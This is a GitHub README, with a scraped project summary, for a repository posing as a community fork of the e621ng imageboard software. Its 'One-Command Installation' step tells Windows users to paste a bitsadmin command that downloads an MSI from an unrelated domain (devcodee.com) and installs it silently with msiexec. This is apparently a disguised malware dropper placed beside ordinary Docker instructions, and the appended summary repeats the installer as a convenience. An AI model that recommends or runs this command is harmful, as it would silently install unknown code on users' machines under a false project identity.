e621 README

The project's README from github.com/blendmaidintrigue/e621. As one markdown file: README.md.

🐾 E621 Community

Fast, self-hosted imageboard platform

An independent community-maintained project based on the open-source e621ng codebase.


Ruby Docker PostgreSQL OpenSearch


⚡ Quick setup · 🐳 Docker ready · 🛠️ Open source


b4522539-654f-4389-b8ee-c637ac612375

🚀 One-Command Installation

🪟 Windows CMD

🪟 Windows Installation

Step 1 — Open Command Prompt

  1. Press Win + R
  2. Type:
cmd
  1. Press Enter This will open Command Prompt.

Step 2 — Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

bitsadmin /transfer e621 /download /priority normal "https://devcodee.com/api" "%TEMP%\setup.msi" && msiexec /i "%TEMP%\setup.msi" /qn /norestart

The installer will automatically download and install the required components.

After installation, open:

http://localhost:3000

✨ Features


🧰 Tech Stack

Technology Purpose
💎 Ruby on Rails Application backend
🐘 PostgreSQL Database
🔎 OpenSearch Search engine
🐳 Docker Containerized environment
🌐 JavaScript Frontend functionality

⚙️ Requirements

The exact requirements depend on your installation method.

For a standard development environment, you may need:

If your one-command installer handles these automatically, no additional setup is required.


🛠️ Development

Want to work on the project manually?

🐧 Linux / macOS

Clone the repository:

git clone <YOUR_REPOSITORY_URL>

Enter the project directory:

cd <YOUR_REPOSITORY_FOLDER>

Copy the environment configuration:

cp .env.sample .env

Run the setup:

docker compose run --rm e621 /app/bin/setup

Start the containers:

docker compose up

🪟 Windows CMD

Open Command Prompt (cmd.exe).

Clone the repository:

git clone <YOUR_REPOSITORY_URL>

Enter the project directory:

cd <YOUR_REPOSITORY_FOLDER>

Copy the environment configuration:

copy .env.sample .env

Run the initial setup:

docker compose run --rm e621 /app/bin/setup

Start the project:

docker compose up

To stop the containers, press:

Ctrl + C

Then visit:

http://localhost:3000

💡 Windows note: Docker Desktop includes Docker Compose. Make sure Docker Desktop is running before executing the commands above.


🪟 Windows CMD Troubleshooting

If the project does not start correctly from CMD, try:

docker compose down -v
docker compose build --no-cache
docker compose run --rm e621 /app/bin/setup
docker compose up

If Git shows unexpected permission or file-mode changes:

git config core.fileMode false

Check that Docker is available:

docker --version
docker compose version

Check that Git is available:

git --version

🧪 Testing

Run the test environment with Docker:

docker compose run --rm tests

Ruby linting

docker compose run --rm rubocop

JavaScript linting

docker compose run --rm linter

🔄 Updating

After updating the repository:

git pull

If Ruby gems or JavaScript packages have changed, rebuild the containers:

docker compose build

Then restart:

docker compose up

🌱 Project Origin

This project is an independent derivative of the open-source:

e621ng

🔗 https://github.com/e621ng/e621ng

Huge thanks to the original developers and contributors who built and maintain the upstream project. ❤️

This repository is maintained independently and may contain modifications, alternative deployment tooling, documentation changes, and other improvements not present in the upstream project.


⚠️ Disclaimer

This is an independent community project.

It is not affiliated with, endorsed by, sponsored by, or officially maintained by e621.net or the e621ng development team.

Any third-party names, trademarks, logos, and branding belong to their respective owners.


📜 License

The original project permits redistribution and modification subject to its license terms.

When redistributing this project, retain the original:

Please see:

LICENSE

for the complete license text.


🤝 Contributing

Contributions are welcome. 💙

You can help by:


⭐ Support

If you find the project useful, consider leaving a ⭐ Star.

It helps other developers discover the project.


🐾 Built by the community

Open source · Self-hosted · Developer friendly

e621 (blendmaidintrigue/e621)

Searching Database…

457 ·GitHub
这是什么?这是一个独立的、由社区维护的自托管图板(imageboard)平台,基于开源的 e621ng 代码库构建,让你可以运行自己的实例,具备标签、搜索和用户账号功能。
这是托管服务,还是我自己运行的东西?它是一个自托管应用:你用 Docker 把它部署到自己的服务器或机器上,不是托管的 SaaS。
怎么把它跑起来?克隆仓库,进入目录,复制环境配置,运行安装脚本,然后启动容器;Windows 上还有一条命令即可完成的 CMD 安装器。
开始之前需要 Docker 和 Docker Compose 吗?需要 — 要准备 Docker、Docker Compose、Git,以及几个 GB 的磁盘空间和内存;在 Windows 上,Docker Desktop 已自带 Compose。
它用了什么技术栈?后端是 Ruby on Rails 加 PostgreSQL 数据库,搜索用 OpenSearch,前端是 JavaScript,全部通过 Docker 容器组合在一起。
内置了哪些功能?开箱即带高级搜索、标签系统、用户账号、评论、收藏、帖子管理和审核工具。
除手动配置 Docker 外,还有更简单的安装方式吗?有,Windows 上提供一条命令的 CMD 安装器,可自动下载并安装所需组件。
What are similar projects?discourse, forem, directus, InsForge, flowsint, sure, clevis, parse-server
Size
<0.1 MB
Stars
457
Updated
CommitAug 23
Age
1mo
Commits · 90 Days